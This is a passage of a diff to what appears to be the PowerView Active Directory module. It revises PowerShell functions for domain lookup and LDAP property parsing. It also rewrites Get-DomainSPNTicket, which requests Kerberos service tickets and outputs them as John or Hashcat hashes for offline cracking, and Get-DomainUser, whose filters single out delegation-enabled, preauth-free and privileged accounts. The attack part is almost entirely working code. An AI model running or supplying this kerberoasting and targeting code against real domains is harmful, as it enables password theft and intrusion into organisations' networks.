ForEach-Object { - if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { - # convert the SID to a string - $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0], 0)).Value - } - elseif ($_ -eq 'objectguid') { - # convert the GUID to a string - $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid - } - elseif ($_ -eq 'ntsecuritydescriptor') { - $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 - } - elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { - # convert timestamps - if ($Properties[$_][0] -is [System.MarshalByRefObject]) { - # if we have a System.__ComObject - $Temp = $Properties[$_][0] - [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) - [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) - $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) + if ($_ -ne 'adspath') { + if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { + # convert all listed sids (i.e. if multiple are listed in sidHistory) + $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value } } - else { - # otherwise just a string - $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) + elseif ($_ -eq 'grouptype') { + $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum } - } - elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { - # try to convert misc com objects - $Prop = $Properties[$_] - try { - $Temp = $Prop[$_][0] - Write-Verbose $_ - [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) - [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) - $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) + elseif ($_ -eq 'samaccounttype') { + $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum } - catch { - $ObjectProperties[$_] = $Prop[$_] + elseif ($_ -eq 'objectguid') { + # convert the GUID to a string + $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid + } + elseif ($_ -eq 'useraccountcontrol') { + $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum + } + elseif ($_ -eq 'ntsecuritydescriptor') { + # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 + $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 + if ($Descriptor.Owner) { + $ObjectProperties['Owner'] = $Descriptor.Owner + } + if ($Descriptor.Group) { + $ObjectProperties['Group'] = $Descriptor.Group + } + if ($Descriptor.DiscretionaryAcl) { + $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl + } + if ($Descriptor.SystemAcl) { + $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl + } + } + elseif ($_ -eq 'accountexpires') { + if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { + $ObjectProperties[$_] = "NEVER" + } + else { + $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) + } + } + elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { + # convert timestamps + if ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # if we have a System.__ComObject + $Temp = $Properties[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) + } + else { + # otherwise just a string + $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) + } + } + elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # try to convert misc com objects + $Prop = $Properties[$_] + try { + $Temp = $Prop[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) + } + catch { + Write-Verbose "[Convert-LDAPProperty] error: $_" + $ObjectProperties[$_] = $Prop[$_] + } + } + elseif ($Properties[$_].count -eq 1) { + $ObjectProperties[$_] = $Properties[$_][0] + } + else { + $ObjectProperties[$_] = $Properties[$_] } - } - elseif ($Properties[$_].count -eq 1) { - $ObjectProperties[$_] = $Properties[$_][0] - } - else { - $ObjectProperties[$_] = $Properties[$_] } } - - New-Object -TypeName PSObject -Property $ObjectProperties + try { + New-Object -TypeName PSObject -Property $ObjectProperties + } + catch { + Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_" + } } -function Get-NetDomain { +function Get-Domain { <# .SYNOPSIS - -Returns a given domain object. - -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None - +Returns the domain object for the current (or specified) domain. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION - Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current domain or the domain specified with -Domain X. - .PARAMETER Domain - Specifies the domain name to query for, defaults to the current domain. - .PARAMETER Credential - A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. - .EXAMPLE - -Get-NetDomain -Domain testlab.local - +Get-Domain -Domain testlab.local +.EXAMPLE +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-Domain -Credential $Cred .OUTPUTS - System.DirectoryServices.ActiveDirectory.Domain - +A complex .NET domain object. .LINK - http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG #> - [OutputType('System.DirectoryServices.ActiveDirectory.Domain')] + [OutputType([System.DirectoryServices.ActiveDirectory.Domain])] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] @@ -398,17 +407,17 @@ http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49 ) PROCESS { - if ($Credential -ne [Management.Automation.PSCredential]::Empty) { + if ($PSBoundParameters['Credential']) { - Write-Verbose "Using alternate credentials for Get-NetDomain" + Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain' - if (-not $Domain) { - # if no domain is supplied, extract the logon domain from the PSCredential passed - $TargetDomain = $Credential.GetNetworkCredential().Domain - Write-Verbose "Extracted domain '$Domain' from -Credential" + if ($PSBoundParameters['Domain']) { + $TargetDomain = $Domain } else { - $TargetDomain = $Domain + # if no domain is supplied, extract the logon domain from the PSCredential passed + $TargetDomain = $Credential.GetNetworkCredential().Domain + Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential" } $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) @@ -417,97 +426,76 @@ http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49 [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) } catch { - Write-Verbose "The specified domain does '$TargetDomain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." - $Null + Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" } } - elseif ($Domain) { + elseif ($PSBoundParameters['Domain']) { $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) try { [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) } catch { - Write-Verbose "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust." - $Null + Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_" } } else { - [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch { + Write-Verbose "[Get-Domain] Error retrieving the current domain: $_" + } } } } -function Get-SPNTicket { + +function Get-DomainSPNTicket { <# .SYNOPSIS - Request the kerberos ticket for a specified service principal name (SPN). - -Author: @machosec, Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None - +Author: machosec, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION - This function will either take one/more SPN strings, or one/more PowerView.User objects -(the output from Get-NetUser) and will request a kerberos ticket for the given SPN +(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted portion of the ticket is then extracted and output in either crackable John or Hashcat format (deafult of John). - .PARAMETER SPN - Specifies the service principal name to request the ticket for. - .PARAMETER User - -Specifies a PowerView.User object (result of Get-NetUser) to request the ticket for. - +Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for. .PARAMETER OutputFormat - Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. Defaults to 'John'. - +.PARAMETER Credential +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote domain using Invoke-UserImpersonation. .EXAMPLE - -Get-SPNTicket -SPN "HTTP/web.testlab.local" - +Get-DomainSPNTicket -SPN "HTTP/web.testlab.local" Request a kerberos service ticket for the specified SPN. - .EXAMPLE - -"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-SPNTicket - +"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket Request kerberos service tickets for all SPNs passed on the pipeline. - .EXAMPLE - -Get-NetUser -SPN | Get-SPNTicket -OutputFormat Hashcat - +Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format. - .INPUTS - String - Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. - .INPUTS - PowerView.User - Accepts one or more PowerView.User objects on the pipeline with the User parameter set. - .OUTPUTS - PowerView.SPNTicket - -Outputs a custom object containing the SamAccountName, DistinguishedName, ServicePrincipalName, and encrypted ticket section. +Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. #> [OutputType('PowerView.SPNTicket')] - [CmdletBinding(DefaultParameterSetName='RawSPN')] + [CmdletBinding(DefaultParameterSetName = 'RawSPN')] Param ( [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)] [ValidatePattern('.*/.*')] @@ -520,15 +508,22 @@ Outputs a custom object containing the SamAccountName, DistinguishedName, Servic [Object[]] $User, - [Parameter(Position = 1)] [ValidateSet('John', 'Hashcat')] [Alias('Format')] [String] - $OutputFormat = 'John' + $OutputFormat = 'John', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') + + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } } PROCESS { @@ -547,17 +542,24 @@ Outputs a custom object containing the SamAccountName, DistinguishedName, Servic } else { $UserSPN = $Object - $SamAccountName = $Null - $DistinguishedName = $Null + $SamAccountName = 'UNKNOWN' + $DistinguishedName = 'UNKNOWN' } - # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) - if($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]){ + # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3 + if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) { $UserSPN = $UserSPN[0] } - $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN - $TicketByteStream = $Ticket.GetRequest() + try { + $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + } + catch { + Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_" + } + if ($Ticket) { + $TicketByteStream = $Ticket.GetRequest() + } if ($TicketByteStream) { $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201' @@ -571,139 +573,171 @@ Outputs a custom object containing the SamAccountName, DistinguishedName, Servic $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName if ($OutputFormat -match 'John') { - $HashFormat = "`$krb5tgs`$unknown:$Hash" + $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" } else { + if ($DistinguishedName -ne 'UNKNOWN') { + $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + else { + $UserDomain = 'UNKNOWN' + } + # hashcat output format - $HashFormat = '$krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=proddfs,DC=pf,DC=fakedomain,DC=com SPN: E3514235-4B06-11D1-AB04-00C04FC2DCD2-ADAM/NAKCRA04.proddfs.pf.fakedomain.com:50000 *' + $Hash + $HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" } $Out | Add-Member Noteproperty 'Hash' $HashFormat - $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') - Write-Output $Out - break } } } -} - -function Invoke-Kerberoast { + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} +function Get-DomainUser { <# .SYNOPSIS - -Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. - -Author: Will Schroeder (@harmj0y), @machosec -License: BSD 3-Clause -Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty - +Return all users or specific user objects in AD. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty .DESCRIPTION - -Implements code from Get-NetUser to quyery for user accounts with non-null service principle -names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information. -The ticket format can be specified with -OutputFormat - +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all user objects for +the current domain are returned. .PARAMETER Identity - A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), -SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). -Wildcards accepted. By default all accounts will be queried for non-null SPNs. - +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. Also accepts DOMAIN\user format. +.PARAMETER SPN +Switch. Only return user objects with non-null service principal names. +.PARAMETER UACFilter +Dynamic parameter that accepts one or more values from $UACEnum, including +"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. .PARAMETER AdminCount - -Switch. Return users with adminCount=1. - +Switch. Return users with '(adminCount=1)' (meaning are/were privileged). +.PARAMETER AllowDelegation +Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' +.PARAMETER DisallowDelegation +Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation' +.PARAMETER TrustedToAuth +Switch. Return computer objects that are trusted to authenticate for other principals. +.PARAMETER PreauthNotRequired +Switch. Return user accounts with "Do not require Kerberos preauthentication" set. .PARAMETER Domain - Specifies the domain to use for the query, defaults to the current domain. - .PARAMETER LDAPFilter - -Specifies an LDAP query string that is used to filter Active Directory objects. - +Specifies an LDAP query string that is used to filter Active Directory objects. +.PARAMETER Properties +Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. - .PARAMETER Server - Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER SearchScope - Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER ResultPageSize - Specifies the PageSize to set for the LDAP searcher object. - +.PARAMETER ServerTimeLimit +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. +.PARAMETER SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. +.PARAMETER Tombstone +Switch. Specifies that the searcher should also return deleted/tombstoned objects. +.PARAMETER FindOne +Only return one result object. .PARAMETER Credential - A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. - -.PARAMETER OutputFormat - -Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. -Defaults to 'John'. - +.PARAMETER Raw +Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE - -Invoke-Kerberoast | fl - -SamAccountName : SQLService -DistinguishedName : CN=SQLService,CN=Users,DC=testlab,DC=local -ServicePrincipalName : MSSQLSvc/PRIMARY.testlab.local:1433 -Hash : $krb5tgs$unknown:30FFC786BECD0E88992CBBB017155C53$0343A9C8... - +Get-DomainUser -Domain testlab.local +Return all users for the testlab.local domain .EXAMPLE - -Invoke-Kerberoast -Domain dev.testlab.local | ConvertTo-CSV -NoTypeInformation - -"SamAccountName","DistinguishedName","ServicePrincipalName","Hash" -"SQLSVC","CN=SQLSVC,CN=Users,DC=dev,DC=testlab,DC=local","MSSQLSvc/secondary.dev.testlab.local:1433","$krb5tgs$unknown:ECF4BDD1037D1D9E2E091ABBDC92F00E$0F3A4... - +Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator" +Return the user with the given SID, as well as Administrator. .EXAMPLE - -Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl - -SamAccountName : SQLService -DistinguishedName : CN=SQLService,CN=Users,DC=testlab,DC=local -ServicePrincipalName : MSSQLSvc/PRIMARY.testlab.local:1433 -Hash : $krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Se - rvice,OU=Accounts,OU=EnterpriseObjects,DC=proddfs,DC=pf, - DC=fakedomain,DC=com SPN: E3514235-4B06-11D1-AB04-00C04F - C2DCD2-ADAM/NAKCRA04.proddfs.pf.fakedomain.com:50000 *30 - FFC786BECD0E88992CBBB017155C53$0343A9C8A7EB90F059CD92B52 - .... - +'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff +lastlogoff samaccountname +---------- -------------- +12/31/1600 4:00:00 PM dfm.a +12/31/1600 4:00:00 PM dfm +12/31/1600 4:00:00 PM harmj0y +12/31/1600 4:00:00 PM Administrator +.EXAMPLE +Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation +Search the specified OU for privileged user (AdminCount = 1) that allow delegation +.EXAMPLE +Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon +Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon +.EXAMPLE +Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED +Find users who doesn't require Kerberos preauthentication and DON'T have an expired password. +.EXAMPLE +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainUser -Credential $Cred +.EXAMPLE +Get-Domain | Select-Object -Expand name +testlab.local +Get-DomainUser dev\user1 -Verbose -Properties distinguishedname +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1))) +distinguishedname +----------------- +CN=user1,CN=Users,DC=dev,DC=testlab,DC=local .INPUTS - String - -Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. - .OUTPUTS - -PowerView.SPNTicket - -Outputs a custom object containing the SamAccountName, DistinguishedName, ServicePrincipalName, and encrypted ticket section. +PowerView.User +Custom PSObject with translated user property fields. +PowerView.User.Raw +The raw DirectoryServices.SearchResult object, if -Raw is enabled. #> - [OutputType('PowerView.SPNTicket')] - [CmdletBinding()] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.User')] + [OutputType('PowerView.User.Raw')] + [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] - [Alias('SamAccountName', 'Name')] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, + [Switch] + $SPN, + [Switch] $AdminCount, + [Parameter(ParameterSetName = 'AllowDelegation')] + [Switch] + $AllowDelegation, + + [Parameter(ParameterSetName = 'DisallowDelegation')] + [Switch] + $DisallowDelegation, + + [Switch] + $TrustedToAuth, + + [Alias('KerberosPreauthNotRequired', 'NoPreauth')] + [Switch] + $PreauthNotRequired, + [ValidateNotNullOrEmpty()] [String] $Domain, @@ -714,10 +748,16 @@ Outputs a custom object containing the SamAccountName, DistinguishedName, Servic $LDAPFilter, [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] $Server, @@ -725,83 +765,316 @@ Outputs a custom object containing the SamAccountName, DistinguishedName, Servic [String] $SearchScope = 'Subtree', - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, - [ValidateSet('John', 'Hashcat')] - [Alias('Format')] - [String] - $OutputFormat = 'John' + [Switch] + $Raw ) + DynamicParam { + $UACValueNames = [Enum]::GetNames($UACEnum) + # add in the negations + $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} + # create new dynamic parameter + New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) + } + BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $UserSearcher = Get-DomainSearcher @SearcherArguments - - $GetSPNTicketArguments = @{} - if ($PSBoundParameters['OutputFormat']) { $GetSPNTicketArguments['OutputFormat'] = $OutputFormat } - } PROCESS { + #bind dynamic parameter to a friendly variable + if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { + New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters + } + if ($UserSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_ - if ($IdentityInstance -match '^S-1-.*') { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { $IdentityFilter += "(objectsid=$IdentityInstance)" } - elseif ($IdentityInstance -match '^CN=.*') { + elseif ($IdentityInstance -match '^CN=') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" - } - else { - try { - $Null = [System.Guid]::Parse($IdentityInstance) - $IdentityFilter += "(objectguid=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $UserSearcher = Get-DomainSearcher @SearcherArguments + if (-not $UserSearcher) { + Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'" + } } - catch { - $IdentityFilter += "(samAccountName=$IdentityInstance)" + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $UserName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$UserName)" + $SearcherArguments['Domain'] = $UserDomain + Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" + $UserSearcher = Get-DomainSearcher @SearcherArguments } } + else { + $IdentityFilter += "(samAccountName=$IdentityInstance)" + } } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } - $Filter += '(servicePrincipalName=*)' + if ($PSBoundParameters['SPN']) { + Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' + $Filter += '(servicePrincipalName=*)' + } + if ($PSBoundParameters['AllowDelegation']) { + Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' + # negation of "Accounts that are sensitive and not trusted for delegation" + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))' + } + if ($PSBoundParameters['DisallowDelegation']) { + Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)' + } if ($PSBoundParameters['AdminCount']) { - Write-Verbose 'Searching for adminCount=1' + Write-Verbose '[Get-DomainUser] Searching for adminCount=1' $Filter += '(admincount=1)' } + if ($PSBoundParameters['TrustedToAuth']) { + Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' + $Filter += '(msds-allowedtodelegateto=*)' + } + if ($PSBoundParameters['PreauthNotRequired']) { + Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' + } if ($PSBoundParameters['LDAPFilter']) { - Write-Verbose "Using additional LDAP filter: $LDAPFilter" + Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } + # build the LDAP filter for the dynamic UAC filter value + $UACFilter | Where-Object {$_} | ForEach-Object { + if ($_ -match 'NOT_.*') { + $UACField = $_.Substring(4) + $UACValue = [Int]($UACEnum::$UACField) + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" + } + else { + $UACValue = [Int]($UACEnum::$_) + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" + } + } + $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" - Write-Verbose "Invoke-Kerberoast search filter string: $($UserSearcher.filter)" + Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" - $Results = $UserSearcher.FindAll() + if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() } + else { $Results = $UserSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { - $User = Convert-LDAPProperty -Properties $_.Properties - $User.PSObject.TypeNames.Insert(0, 'PowerView.User') + if ($PSBoundParameters['Raw']) { + # return raw 